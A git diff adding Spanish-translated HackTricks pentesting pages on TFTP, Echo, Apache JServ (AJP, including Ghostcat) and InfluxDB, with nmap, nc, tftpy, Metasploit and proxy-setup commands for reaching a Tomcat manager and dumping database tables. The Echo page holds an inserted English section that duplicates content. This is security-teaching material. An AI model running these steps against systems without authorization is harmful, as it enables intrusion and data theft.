🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones de la comunidad
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
35
network-services-pentesting/69-udp-tftp.md
Normal file
35
network-services-pentesting/69-udp-tftp.md
Normal file
|
@ -0,0 +1,35 @@
|
|||
# Información Básica
|
||||
|
||||
**TFTP** utiliza el puerto UDP 69 y **no requiere autenticación** - los clientes leen y escriben en los servidores utilizando el formato de datagrama descrito en RFC 1350. Debido a las deficiencias del protocolo (es decir, la falta de autenticación y la falta de seguridad en el transporte), es poco común encontrar servidores en Internet público. Sin embargo, en grandes redes internas, TFTP se utiliza para servir archivos de configuración e imágenes ROM a teléfonos VoIP y otros dispositivos.
|
||||
|
||||
**TODO**: Proporcionar información sobre lo que es un Bittorrent-tracker (Shodan identifica este puerto con ese nombre). POR FAVOR, HÁGAMOSLO SABER SI TIENE INFORMACIÓN SOBRE ESTO EN EL [**grupo de telegramas de HackTricks**](https://t.me/peass) (o en un problema de github en [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
|
||||
|
||||
**Puerto predeterminado:** 69/UDP
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
```
|
||||
# Enumeración
|
||||
|
||||
TFTP no proporciona listado de directorios, por lo que el script `tftp-enum` de `nmap` intentará realizar un ataque de fuerza bruta en rutas predeterminadas.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
## Descarga/Subida
|
||||
|
||||
Puedes usar Metasploit o Python para comprobar si puedes descargar/subir archivos:
|
||||
```bash
|
||||
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
||||
```
|
||||
|
||||
```bash
|
||||
import tftpy
|
||||
client = tftpy.TftpClient(<ip>, <port>)
|
||||
client.download("filename in server", "/tmp/filename", timeout=5)
|
||||
client.upload("filename to upload", "/local/path/file", timeout=5)
|
||||
```
|
||||
## Shodan
|
||||
|
||||
* `port:69`
|
||||
|
||||
Shodan es un motor de búsqueda que permite a los hackers encontrar dispositivos conectados a Internet. Al buscar el puerto 69 en Shodan, se pueden encontrar servidores TFTP expuestos a Internet. El protocolo TFTP es utilizado para transferir archivos entre sistemas en una red. Si un servidor TFTP está mal configurado, puede permitir a un atacante descargar o cargar archivos en el servidor sin autenticación, lo que podría resultar en una fuga de información.
|
76
network-services-pentesting/7-tcp-udp-pentesting-echo.md
Normal file
76
network-services-pentesting/7-tcp-udp-pentesting-echo.md
Normal file
|
@ -0,0 +1,76 @@
|
|||
# Información Básica
|
||||
|
||||
Un servicio de eco está ejecutándose en este host. El servicio de eco fue diseñado para fines de prueba y medición y puede escuchar en los protocolos TCP y UDP. El servidor devuelve cualquier dato que recibe, sin modificación.\
|
||||
**Es posible causar una denegación de servicio conectando un servicio de eco al servicio de eco en la misma o en otra máquina**. Debido al número excesivamente alto de paquetes producidos, las máquinas afectadas pueden quedar efectivamente fuera de servicio.\
|
||||
Información de [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
|
||||
**Puerto predeterminado:** 7/tcp/udp
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Contactar el servicio Echo (UDP)
|
||||
|
||||
### Description
|
||||
|
||||
The Echo service is a simple service that echoes back whatever data is sent to it. It is available on both TCP and UDP protocols. In this section, we will focus on the UDP version.
|
||||
|
||||
### Usage
|
||||
|
||||
To contact the Echo service using UDP, we can use the `nc` command with the `-u` flag to specify the UDP protocol. For example:
|
||||
|
||||
```
|
||||
$ echo "hello" | nc -u <target_ip> 7
|
||||
```
|
||||
|
||||
This will send the string "hello" to the Echo service running on port 7 of the target IP address.
|
||||
|
||||
### Potential issues
|
||||
|
||||
Since the Echo service simply echoes back whatever data is sent to it, it can be used to amplify UDP traffic in a reflection attack. This can result in a denial-of-service (DoS) attack on the target network.
|
||||
|
||||
### Detection
|
||||
|
||||
To detect if the Echo service is running on a target system, we can use the `nmap` command with the `-sU` flag to specify UDP scanning. For example:
|
||||
|
||||
```
|
||||
$ nmap -sU <target_ip>
|
||||
```
|
||||
|
||||
This will scan the target IP address for open UDP ports, including port 7 if the Echo service is running.
|
||||
|
||||
### Prevention
|
||||
|
||||
To prevent the Echo service from being used in a reflection attack, it is recommended to block incoming UDP traffic on port 7 at the network perimeter. Additionally, it is recommended to disable the Echo service if it is not needed.
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
Hello echo #This is the response
|
||||
```
|
||||
## Shodan
|
||||
|
||||
* `port:7 echo`
|
||||
|
||||
# Referencias
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
[CA-1996-01 Ataque de denegación de servicio del puerto UDP](http://www.cert.org/advisories/CA-1996-01.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**La familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,188 @@
|
|||
# 8009 - Pentesting Protocolo Apache JServ (AJP)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Información básica
|
||||
|
||||
Desde: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||
|
||||
> AJP es un protocolo de red. Es una versión optimizada del protocolo HTTP que permite que un servidor web independiente, como [Apache](http://httpd.apache.org/), hable con Tomcat. Históricamente, Apache ha sido mucho más rápido que Tomcat al servir contenido estático. La idea es permitir que Apache sirva el contenido estático cuando sea posible, pero que redirija la solicitud a Tomcat para el contenido relacionado con Tomcat.
|
||||
|
||||
También es interesante:
|
||||
|
||||
> El protocolo ajp13 está orientado a paquetes. Se eligió un formato binario en lugar del texto plano más legible por razones de rendimiento. El servidor web se comunica con el contenedor de servlets a través de conexiones TCP. Para reducir el costoso proceso de creación de sockets, el servidor web intentará mantener conexiones TCP persistentes con el contenedor de servlets y reutilizar una conexión para múltiples ciclos de solicitud/respuesta.
|
||||
|
||||
**Puerto predeterminado:** 8009
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
8009/tcp open ajp13
|
||||
```
|
||||
## CVE-2020-1938 ['Ghostcat'](https://www.chaitin.cn/en/ghostcat)
|
||||
|
||||
Si el puerto AJP está expuesto, Tomcat podría ser susceptible a la vulnerabilidad Ghostcat. Aquí hay un [exploit](https://www.exploit-db.com/exploits/48143) que funciona con este problema.
|
||||
|
||||
Ghostcat es una vulnerabilidad LFI, pero algo restringida: solo se pueden extraer archivos de una cierta ruta. Aún así, esto puede incluir archivos como `WEB-INF/web.xml` que pueden filtrar información importante como credenciales para la interfaz de Tomcat, dependiendo de la configuración del servidor.
|
||||
|
||||
Las versiones parcheadas en o por encima de 9.0.31, 8.5.51 y 7.0.100 han solucionado este problema.
|
||||
|
||||
## Enumeración
|
||||
|
||||
### Automática
|
||||
```bash
|
||||
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
|
||||
```
|
||||
### [**Fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#ajp)
|
||||
|
||||
## Proxy AJP
|
||||
|
||||
### Proxy AJP de Apache
|
||||
|
||||
No es común encontrar el puerto 8009 abierto y ningún otro puerto web abierto. En ese caso, ¿no sería genial usar herramientas existentes como Metasploit para tomar el control? Como se indica en una de las citas, se puede (ab)usar Apache para hacer de proxy de las solicitudes al puerto 8009 de Tomcat. En las referencias encontrará una guía detallada sobre cómo hacerlo (léala primero), lo que sigue es solo una descripción general de los comandos que utilicé en mi propia máquina. Omití algunas de las instrucciones originales ya que no parecían ser necesarias.
|
||||
```bash
|
||||
sudo apt-get install libapache2-mod-jk
|
||||
sudo vim /etc/apache2/apache2.conf # append the following line to the config
|
||||
Include ajp.conf
|
||||
sudo vim /etc/apache2/ajp.conf # create the following file, change HOST to the target address
|
||||
ProxyRequests Off
|
||||
<Proxy *>
|
||||
Order deny,allow
|
||||
Deny from all
|
||||
Allow from localhost
|
||||
</Proxy>
|
||||
ProxyPass / ajp://HOST:8009/
|
||||
ProxyPassReverse / ajp://HOST:8009/
|
||||
sudo a2enmod proxy_http
|
||||
sudo a2enmod proxy_ajp
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
Un buen efecto secundario de usar esta configuración es que podrías frustrar los sistemas IDS/IPS que estén en su lugar, ya que el protocolo AJP es algo binario, pero no lo he verificado. Ahora solo tienes que apuntar tu exploit de tomcat de metasploit regular a 127.0.0.1:80 y tomar el control de ese sistema. Aquí también está la salida de metasploit:
|
||||
```bash
|
||||
msf exploit(tomcat_mgr_deploy) > show options
|
||||
|
||||
Module options (exploit/multi/http/tomcat_mgr_deploy):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD tomcat no The password for the specified username
|
||||
PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used)
|
||||
Proxies no Use a proxy chain
|
||||
RHOST localhost yes The target address
|
||||
RPORT 80 yes The target port
|
||||
USERNAME tomcat no The username to authenticate as
|
||||
VHOST no HTTP server virtual host
|
||||
```
|
||||
### Proxy Inverso de Nginx y AJP
|
||||
|
||||
Cuando nos encontramos con un puerto de proxy AJP abierto (8009 TCP), podemos usar Nginx con el módulo `ajp_module` para acceder al "oculto" Tomcat Manager. Esto se puede hacer compilando el código fuente de Nginx y agregando el módulo requerido, de la siguiente manera:
|
||||
|
||||
* Descargar el código fuente de Nginx
|
||||
* Descargar el módulo requerido
|
||||
* Compilar el código fuente de Nginx con el `ajp_module`.
|
||||
* Crear un archivo de configuración que apunte al puerto AJP.
|
||||
```bash
|
||||
# Download Nginx code
|
||||
wget https://nginx.org/download/nginx-1.21.3.tar.gz
|
||||
tar -xzvf nginx-1.21.3.tar.gz
|
||||
|
||||
# Compile Nginx source code with the ajp module
|
||||
git clone https://github.com/dvershinin/nginx_ajp_module.git
|
||||
cd nginx-1.21.3
|
||||
sudo apt install libpcre3-dev
|
||||
./configure --add-module=`pwd`/../nginx_ajp_module --prefix=/etc/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib/nginx/modules
|
||||
make
|
||||
sudo make install
|
||||
nginx -V
|
||||
```
|
||||
Comenta todo el bloque `server` y añade las siguientes líneas dentro del bloque `http` en `/etc/nginx/conf/nginx.conf`.
|
||||
```shell-session
|
||||
upstream tomcats {
|
||||
server <TARGET_SERVER>:8009;
|
||||
keepalive 10;
|
||||
}
|
||||
server {
|
||||
listen 80;
|
||||
location / {
|
||||
ajp_keep_conn on;
|
||||
ajp_pass tomcats;
|
||||
}
|
||||
}
|
||||
```
|
||||
Inicie Nginx y verifique que todo esté funcionando correctamente emitiendo una solicitud cURL a su host local.
|
||||
```html
|
||||
sudo nginx
|
||||
curl http://127.0.0.1:80
|
||||
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<title>Apache Tomcat/X.X.XX</title>
|
||||
<link href="favicon.ico" rel="icon" type="image/x-icon" />
|
||||
<link href="favicon.ico" rel="shortcut icon" type="image/x-icon" />
|
||||
<link href="tomcat.css" rel="stylesheet" type="text/css" />
|
||||
</headas
|
||||
<body>
|
||||
<div id="wrapper">
|
||||
<div id="navigation" class="curved container">
|
||||
<span id="nav-home"><a href="https://tomcat.apache.org/">Home</a></span>
|
||||
<span id="nav-hosts"><a href="/docs/">Documentation</a></span>
|
||||
<span id="nav-config"><a href="/docs/config/">Configuration</a></span>
|
||||
<span id="nav-examples"><a href="/examples/">Examples</a></span>
|
||||
<span id="nav-wiki"><a href="https://wiki.apache.org/tomcat/FrontPage">Wiki</a></span>
|
||||
<span id="nav-lists"><a href="https://tomcat.apache.org/lists.html">Mailing Lists</a></span>
|
||||
<span id="nav-help"><a href="https://tomcat.apache.org/findhelp.html">Find Help</a></span>
|
||||
<br class="separator" />
|
||||
</div>
|
||||
<div id="asf-box">
|
||||
<h1>Apache Tomcat/X.X.XX</h1>
|
||||
</div>
|
||||
<div id="upper" class="curved container">
|
||||
<div id="congrats" class="curved container">
|
||||
<h2>If you're seeing this, you've successfully installed Tomcat. Congratulations!</h2>
|
||||
<SNIP>
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones de la comunidad
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
146
network-services-pentesting/8086-pentesting-influxdb.md
Normal file
146
network-services-pentesting/8086-pentesting-influxdb.md
Normal file
|
@ -0,0 +1,146 @@
|
|||
# 8086 - Pentesting InfluxDB
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
**InfluxDB** es una base de datos de series temporales de código abierto (TSDB) desarrollada por la empresa InfluxData.
|
||||
|
||||
Una **base de datos de series temporales (TSDB)** es un sistema de software optimizado para almacenar y **servir series temporales** a través de pares asociados de tiempo(s) y valor(es).
|
||||
|
||||
Los conjuntos de datos de series temporales son **relativamente grandes y uniformes en comparación con otros conjuntos de datos** - generalmente están compuestos por una marca de tiempo y datos asociados. Los conjuntos de datos de series temporales también pueden tener menos relaciones entre las entradas de datos en diferentes tablas y no requieren almacenamiento indefinido de entradas. Las propiedades únicas de los conjuntos de datos de series temporales significan que las bases de datos de series temporales pueden proporcionar **mejoras significativas en el espacio de almacenamiento y el rendimiento en comparación con las bases de datos de propósito general**. Por ejemplo, debido a la uniformidad de los datos de series temporales, los **algoritmos de compresión especializados** pueden proporcionar mejoras sobre los algoritmos de compresión regulares diseñados para trabajar en datos menos uniformes. Las bases de datos de series temporales también se pueden **configurar para eliminar regularmente datos antiguos**, a diferencia de las bases de datos regulares que están diseñadas para almacenar datos indefinidamente. Los índices de bases de datos especiales también pueden proporcionar mejoras en el rendimiento de las consultas. (De [aquí](https://en.wikipedia.org/wiki/Time\_series\_database)).
|
||||
|
||||
**Puerto predeterminado**: 8086
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
8086/tcp open http InfluxDB http admin 1.7.5
|
||||
```
|
||||
## Enumeración
|
||||
|
||||
Desde el punto de vista de un pentester, esta es otra base de datos que podría estar almacenando información sensible, por lo que es interesante saber cómo volcar toda la información.
|
||||
|
||||
### Autenticación
|
||||
|
||||
InfluxDB puede requerir autenticación o no.
|
||||
```bash
|
||||
# Try unauthenticated
|
||||
influx -host 'host name' -port 'port #'
|
||||
> use _internal
|
||||
```
|
||||
Si obtienes un error como este: `ERR: unable to parse authentication credentials`, significa que se esperan algunas credenciales.
|
||||
```
|
||||
influx –username influx –password influx_pass
|
||||
```
|
||||
Hubo una vulnerabilidad en influxdb que permitió saltarse la autenticación: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
|
||||
|
||||
### Enumeración manual
|
||||
|
||||
La información de este ejemplo fue tomada de [**aquí**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/).
|
||||
|
||||
#### Mostrar bases de datos
|
||||
|
||||
Las bases de datos encontradas son _telegraf_ y _\_internal_ (encontrarás esta en todas partes).
|
||||
```bash
|
||||
> show databases
|
||||
name: databases
|
||||
name
|
||||
----
|
||||
telegraf
|
||||
_internal
|
||||
```
|
||||
#### Mostrar tablas/mediciones
|
||||
|
||||
Como explica la [**documentación de InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/), las **mediciones** SQL pueden considerarse como tablas SQL. Como sugieren los nombres de **medición** anteriores, cada una contiene información que se refiere a una entidad específica.
|
||||
```bash
|
||||
> show measurements
|
||||
name: measurements
|
||||
name
|
||||
----
|
||||
cpu
|
||||
disk
|
||||
diskio
|
||||
kernel
|
||||
mem
|
||||
processes
|
||||
swap
|
||||
system
|
||||
```
|
||||
#### Mostrar columnas/llaves de campo
|
||||
|
||||
Las llaves de campo son como las **columnas** de la base de datos.
|
||||
```bash
|
||||
> show field keys
|
||||
name: cpu
|
||||
fieldKey fieldType
|
||||
-------- ---------
|
||||
usage_guest float
|
||||
usage_guest_nice float
|
||||
usage_idle float
|
||||
usage_iowait float
|
||||
|
||||
name: disk
|
||||
fieldKey fieldType
|
||||
-------- ---------
|
||||
free integer
|
||||
inodes_free integer
|
||||
inodes_total integer
|
||||
inodes_used integer
|
||||
|
||||
[ ... more keys ...]
|
||||
```
|
||||
#### Volcado de tabla
|
||||
|
||||
Y finalmente puedes **volcar la tabla** haciendo algo como
|
||||
```bash
|
||||
select * from cpu
|
||||
name: cpu
|
||||
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
|
||||
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
|
||||
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
|
||||
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
En algunas pruebas con el bypass de autenticación se notó que el nombre de la tabla debía estar entre comillas dobles como: `select * from "cpu"`
|
||||
{% endhint %}
|
||||
|
||||
### Autenticación Automatizada
|
||||
```bash
|
||||
msf6 > use auxiliary/scanner/http/influxdb_enum
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
|
||||
Obtén acceso hoy:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue